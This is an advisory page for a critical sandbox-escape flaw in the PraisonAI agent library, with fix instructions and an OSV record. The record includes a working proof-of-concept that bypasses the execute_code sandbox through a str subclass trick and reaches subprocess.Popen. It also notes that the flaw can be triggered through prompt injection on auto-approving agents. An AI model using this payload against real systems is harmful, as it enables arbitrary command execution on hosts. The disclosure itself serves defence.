CVE-2026-34938: PraisonAI Python Sandbox Escape Vulnerability
CRITICALCVE-2026-34938 is a CRITICAL (CVSS 10.0) python sandbox escape vulnerability (CWE-693: Protection Mechanism Failure) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves python sandbox escape via str subclass startswith() override in execute_code. Remediation is available by upgrading affected packages to version 1.5.90.
CVE-2026-34938 at a Glance
Security Impact
CVSS: 10.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-34938
To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install praisonaiagents>=1.5.90
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show praisonaiagents
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-34938, inspect your installed packages using pip:
pip show praisonaiagents
Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.90), your application is affected.
Note: The pip show praisonaiagents command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-693: Protection Mechanism Failure, where the product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-34938 Affected PraisonAI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
praisonaiagents
|
PyPI |
< 1.5.90
|
1.5.90
|
References
Frequently Asked Questions
What is CVE-2026-34938?
Which PraisonAI versions are affected?
What version fixes CVE-2026-34938?
Is praisonaiagents affected?
What is the CVSS score of CVE-2026-34938?
What CWE is associated with CVE-2026-34938?
How can I check PyPI dependencies for CVE-2026-34938?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-6vh2-h83c-9294",
"modified" : "2026-04-06T22:54:12Z",
"published" : "2026-04-01T23:17:48Z",
"aliases" : [ "CVE-2026-34938" ],
"summary" : "PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code",
"details" : "### Summary\n\n`execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host.\n\n### Details\n\n`python_tools.py:20` (source) -> `python_tools.py:22` (guard bypass) -> `python_tools.py:161` (sink)\n```python\n# source -- _safe_getattr accepts any str subclass\ndef _safe_getattr(obj, name, *default):\n if isinstance(name, str) and name.startswith('_'): # isinstance passes for subclasses\n raise AttributeError(...)\n\n# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword\nFakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})\n\n# sink -- Popen reached via __subclasses__ walk\nr = Popen(['id'], stdout=PIPE, stderr=PIPE)\n```\n\n### PoC\n```python\n\nfrom praisonaiagents.tools.python_tools import execute_code\n\npayload = \"\"\"\nt = type\nFakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})\n\nmro_attr = FakeStr(''.join(['_','_','m','r','o','_','_']))\nsubs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))\nmod_attr = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))\nname_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))\nPIPE = -1\n\nobj_class = getattr(type(()), mro_attr)[1]\nfor cls in getattr(obj_class, subs_attr)():\n try:\n m = getattr(cls, mod_attr, '')\n n = getattr(cls, name_attr, '')\n if m == 'subprocess' and n == 'Popen':\n r = cls(['id'], stdout=PIPE, stderr=PIPE)\n out, err = r.communicate()\n print('RCE:', out.decode())\n break\n except Exception as e:\n print('ERR:', e)\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nAny user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "praisonaiagents"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.5.90"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.5.89"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6vh2-h83c-9294"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34938"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/MervinPraison/PraisonAI"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-693" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-01T23:17:48Z",
"nvd_published_at" : "2026-04-03T23:17:06Z"
}
}